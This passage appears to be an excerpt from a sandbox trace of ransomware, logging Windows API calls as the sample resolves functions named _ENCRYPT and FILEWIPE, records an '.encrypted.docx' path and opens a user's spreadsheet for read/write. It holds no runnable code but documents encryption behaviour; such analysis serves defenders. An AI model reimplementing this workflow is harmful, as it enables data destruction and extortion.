returned 0x13 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.453] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.454] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.454] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.454] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.454] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.454] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.454] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.454] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.454] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.457] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.457] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.457] CharLowerBuffW (in: lpsz="byte[97264]", cchLength=0xb | out: lpsz="byte[97264]") returned 0xb [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.458] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.458] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.458] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.459] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.459] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.459] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.459] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.460] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.460] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.460] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.460] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.461] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.461] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.461] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.461] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.461] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.461] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.461] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.461] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5190) returned 1 [0025.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.461] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1446, lpOverlapped=0x0) returned 1 [0025.461] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1446, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5190) returned 1 [0025.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.encrypted.docx\r\n", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0025.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.encrypted.docx\r\n", cchWideChar=82, lpMultiByteStr=0xe8f406a130, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 82 [0025.462] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x51, lpOverlapped=0x0) returned 1 [0025.462] CloseHandle (hObject=0x1fc) returned 1 [0025.463] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.463] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.464] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.465] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.465] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.465] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.466] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.466] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.467] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178880, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.467] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41784c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.467] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.ods", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0025.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.ods", cchWideChar=66, lpMultiByteStr=0xe8f40517c0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.ods", lpUsedDefaultChar=0x0) returned 66 [0025.468] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\zg4rgb0kxt-5dpkfb.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0025.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=66, lpWideCharStr=0xe8f4067e80, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.ods") returned 66 [0025.468] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.469] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.469] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.469] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.469] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178380, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.470] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.470] CloseHandle (hObject=0x1fc) returned 1 [0025.470] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.470] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.470] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.470] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.470] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 